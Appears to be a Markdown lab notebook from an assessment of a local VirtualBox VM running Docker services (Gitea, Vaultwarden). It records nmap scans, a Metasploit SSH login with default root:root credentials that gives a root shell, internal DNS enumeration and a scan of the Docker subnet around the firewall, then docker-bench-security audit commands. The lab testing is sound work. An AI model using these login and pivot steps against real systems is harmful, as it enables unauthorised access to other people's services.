163 lines
4.7 KiB
Markdown
163 lines
4.7 KiB
Markdown
# base
|
|
|
|
```sh
|
|
$ nmap -sS 192.168.56.10
|
|
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-17 12:10 EDT
|
|
Nmap scan report for gitea.vm.local (192.168.56.10)
|
|
Host is up (0.00011s latency).
|
|
Not shown: 996 closed tcp ports (reset)
|
|
PORT STATE SERVICE
|
|
22/tcp open ssh
|
|
80/tcp open http
|
|
443/tcp open https
|
|
2222/tcp open EtherNetIP-1
|
|
MAC Address: 08:00:27:D6:26:3F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
|
|
|
|
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
|
|
```
|
|
|
|
assumed ssh access:
|
|
```sh
|
|
msfconsole
|
|
msf6 > use auxiliary/scanner/ssh/ssh_login
|
|
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.56.10
|
|
msf6 auxiliary(scanner/ssh/ssh_login) > set rport 2222
|
|
msf6 auxiliary(scanner/ssh/ssh_login) > set username root
|
|
msf6 auxiliary(scanner/ssh/ssh_login) > set password root
|
|
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
|
|
[*] 192.168.56.10:2222 - Starting bruteforce
|
|
[+] 192.168.56.10:2222 - Success: 'root:root' 'uid=0(root) gid=0(root) groups=0(root) Linux 0e6d64e04e9d 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux '
|
|
[*] SSH session 1 opened (192.168.56.28:34687 -> 192.168.56.10:2222) at 2025-05-12 13:47:23 -0400
|
|
[*] Scanned 1 of 1 hosts (100% complete)
|
|
[*] Auxiliary module execution completed
|
|
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -u 1
|
|
```
|
|
|
|
access shell
|
|
```sh
|
|
msf6 > sessions -i 1
|
|
apt install dnsutils nmap
|
|
```
|
|
|
|
assuming services are known, docker service names can be guessed
|
|
```
|
|
dig gitea
|
|
|
|
; <<>> DiG 9.18.30-0ubuntu0.22.04.2-Ubuntu <<>> gitea
|
|
;; global options: +cmd
|
|
;; Got answer:
|
|
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35068
|
|
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
|
|
|
|
;; QUESTION SECTION:
|
|
;gitea. IN A
|
|
|
|
;; ANSWER SECTION:
|
|
gitea. 600 IN A 172.18.0.4
|
|
|
|
;; Query time: 0 msec
|
|
;; SERVER: 127.0.0.11#53(127.0.0.11) (UDP)
|
|
;; WHEN: Mon May 12 18:14:57 UTC 2025
|
|
;; MSG SIZE rcvd: 44
|
|
```
|
|
```
|
|
dig bitwarden
|
|
|
|
; <<>> DiG 9.18.30-0ubuntu0.22.04.2-Ubuntu <<>> bitwarden
|
|
;; global options: +cmd
|
|
;; Got answer:
|
|
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 12038
|
|
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
|
|
;; WARNING: recursion requested but not available
|
|
|
|
;; QUESTION SECTION:
|
|
;bitwarden. IN A
|
|
|
|
;; Query time: 0 msec
|
|
;; SERVER: 127.0.0.11#53(127.0.0.11) (UDP)
|
|
;; WHEN: Mon May 12 18:15:05 UTC 2025
|
|
;; MSG SIZE rcvd: 27
|
|
```
|
|
```
|
|
dig vaultwarden
|
|
|
|
; <<>> DiG 9.18.30-0ubuntu0.22.04.2-Ubuntu <<>> vaultwarden
|
|
;; global options: +cmd
|
|
;; Got answer:
|
|
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21853
|
|
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
|
|
|
|
;; QUESTION SECTION:
|
|
;vaultwarden. IN A
|
|
|
|
;; ANSWER SECTION:
|
|
vaultwarden. 600 IN A 172.18.0.2
|
|
|
|
;; Query time: 0 msec
|
|
;; SERVER: 127.0.0.11#53(127.0.0.11) (UDP)
|
|
;; WHEN: Mon May 12 18:27:21 UTC 2025
|
|
;; MSG SIZE rcvd: 56
|
|
```
|
|
|
|
internal IP, would circumvent firewall outside service containers
|
|
docker default subnets are 0.0.0.0/16, assuming 172.18.0.0/16
|
|
|
|
```
|
|
nmap -sS 172.18.0.0/16
|
|
Starting Nmap 7.80 ( https://nmap.org ) at 2025-05-17 16:31 UTC
|
|
Nmap scan report for sandbox (172.18.0.1)
|
|
Host is up (0.0000050s latency).
|
|
Not shown: 996 closed ports
|
|
PORT STATE SERVICE
|
|
22/tcp open ssh
|
|
80/tcp open http
|
|
443/tcp open https
|
|
2222/tcp open EtherNetIP-1
|
|
MAC Address: FA:B1:5A:9D:C7:A5 (Unknown)
|
|
|
|
Nmap scan report for vaultwarden.vagrant_nginx (172.18.0.2)
|
|
Host is up (0.0000050s latency).
|
|
Not shown: 999 closed ports
|
|
PORT STATE SERVICE
|
|
80/tcp open http
|
|
MAC Address: BE:9D:68:8A:B6:B6 (Unknown)
|
|
|
|
Nmap scan report for nginx.vagrant_nginx (172.18.0.3)
|
|
Host is up (0.0000050s latency).
|
|
Not shown: 998 closed ports
|
|
PORT STATE SERVICE
|
|
80/tcp open http
|
|
443/tcp open https
|
|
MAC Address: D6:71:74:1E:27:A2 (Unknown)
|
|
|
|
Nmap scan report for gitea.vagrant_nginx (172.18.0.5)
|
|
Host is up (0.0000050s latency).
|
|
Not shown: 998 closed ports
|
|
PORT STATE SERVICE
|
|
22/tcp open ssh
|
|
3000/tcp open ppp
|
|
MAC Address: 9A:E8:19:FC:FF:25 (Unknown)
|
|
```
|
|
|
|
# docker bench security
|
|
|
|
according to [docs](https://github.com/docker/docker-bench-security)
|
|
```sh
|
|
git clone https://github.com/docker/docker-bench-security.git
|
|
cd docker-bench-security
|
|
docker build --no-cache -t docker-bench-security .
|
|
```
|
|
Ubuntu run config
|
|
```sh
|
|
docker run --rm --net host --pid host --userns host --cap-add audit_control \
|
|
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
|
|
-v /etc:/etc:ro \
|
|
-v /lib/systemd/system:/lib/systemd/system:ro \
|
|
-v /usr/bin/containerd:/usr/bin/containerd:ro \
|
|
-v /usr/bin/runc:/usr/bin/runc:ro \
|
|
-v /usr/lib/systemd:/usr/lib/systemd:ro \
|
|
-v /var/lib:/var/lib:ro \
|
|
-v /var/run/docker.sock:/var/run/docker.sock:ro \
|
|
--label docker_bench_security \
|
|
docker-bench-security
|
|
``` |